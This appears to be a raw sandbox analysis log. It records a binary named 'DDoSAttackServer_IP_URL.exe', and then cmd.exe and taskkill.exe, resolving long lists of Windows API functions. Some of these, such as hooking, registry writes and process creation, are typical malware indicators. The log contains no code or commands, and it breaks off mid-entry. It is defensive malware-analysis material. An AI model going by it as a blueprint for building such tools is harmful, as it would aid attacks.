ReadFile (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CallWindowProc (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter PostMessage (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter PostMessageW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetMessageW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter TranslateMessage (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter DispatchMessage (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter DispatchMessageW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MsgWaitForMultipleObjectsEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SystemParametersInfo (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SystemParametersInfoW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetSysColor (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetSysColorW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetDoubleClickTime (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetWindowsHookEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetWindowsHookExA (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegSetValueEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegCreateKeyEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCurrentDirectory (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MILCreateEventProxy (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MILCreateFactory (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MILFactoryCreateMediaPlayer (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MILRelease (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetUserObjectInformation (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetUserObjectInformationA (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ChangeWindowMessageFilter (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilContent_AttachToHwnd (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter DwmAttachMilContent (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilVersionCheck (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilCompositionEngine_EnterCompositionEngineLock (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilCompositionEngine_InitializePartitionManager (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WgxConnection_ShouldForceSoftwareForGraphicsStreamClient (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WgxConnection_Create (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilConnection_CreateChannel (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilCompositionEngine_ExitCompositionEngineLock (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilResource_SendCommand (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilChannel_SetNotificationWindow (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilResource_CreateOrAddRefOnChannel (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilChannel_CloseBatch (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilChannel_CommitChannel (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilComposition_SyncFlush (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter DXVA2CreateDirect3DDeviceManager9 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilComposition_PeekNextMessage (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetProcessDpiAwareness (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter AreDpiAwarenessContextsEqual (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetThreadDpiAwarenessContext (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetDpiForSystem (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MonitorFromWindow (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetMonitorInfo (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsThemeActive (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsThemeActiveW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCurrentThemeName (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCurrentThemeNameW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetMessageTime (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WTSQuerySessionInformation (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WTSQuerySessionInformationW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WTSFreeMemory (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WTSFreeMemoryW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindow (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilVisualTarget_AttachToHwnd (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegisterPowerSettingNotification (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WTSRegisterSessionNotification (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ClientToScreen (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsProcessDPIAwareW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetWindowDpiAwarenessContext (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilResource_DuplicateHandle (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetWindowLongWrapper (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetWindowLongWrapperW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetRawInputDeviceList (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetRawInputDeviceListW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetProp (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetPropW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegisterDragDrop (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetWindowPos (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter BeginPaint (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter EndPaint (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetTimer (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ChangeWindowMessageFilterEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ExtractIconEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ExtractIconExW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SendMessage (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SendMessageW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCursorPos (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MonitorFromPoint (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter NotifyWinEvent (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter KillTimer (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MILMediaGetNaturalWidth (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MILMediaGetNaturalHeight (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetParentWrapper (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetMessageExtraInfoW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetKeyboardLayout (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetFocus (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetFocusWrapper (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter TF_CreateThreadMgr (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetWindowTheme (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetThemeMargins (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ImmGetDefaultIMEWnd (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ImmGetDefaultIMEWndW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ImmGetContextW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ImmReleaseContextW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ImmAssociateContextW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindows10RS5OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindows10RS3OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindows10RS2OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindows10RS1OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindows10TH2OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindows10TH1OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindows10OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindows8Point1OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindows8OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindows7SP1OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindows7OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindowsVistaSP2OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindowsVistaSP1OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindowsVistaOrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindowsXPSP3OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindowsXPSP2OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindowsXPSP1OrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindowsXPOrGreater (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindowsServer (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter UiaGetReservedMixedAttributeValue (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter UiaGetReservedMixedAttributeValueW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter UiaGetReservedNotSupportedValue (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter UiaGetReservedNotSupportedValueW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MILMediaSetPosition (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MILMediaSetRate (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MILMediaOpen (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilChannel_BeginCommand (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilChannel_AppendCommandData (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilChannel_EndCommand (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilChannel_GetMarshalType (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MILAddRef (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilResource_SendCommandMedia (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter OpenAdapter (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetTimerW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCapture (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WindowFromPoint (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter TrackMouseEvent (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ScreenToClient (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsWindowEnabled (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilUtility_PolygonHitTest (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetKeyState (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter LoadCursor (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter LoadCursorW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetCursor (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MFCreateDXSurfaceBuffer (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MFCreateVideoSampleFromSurface (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter MilResource_ReleaseOnChannel (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CallNextHookEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter PeekMessage (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter PeekMessageW (UID: 00000000-00000944) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005988) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005988) "taskkill.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002624) "taskkill.exe" called "GetProcAddress" with a parameter 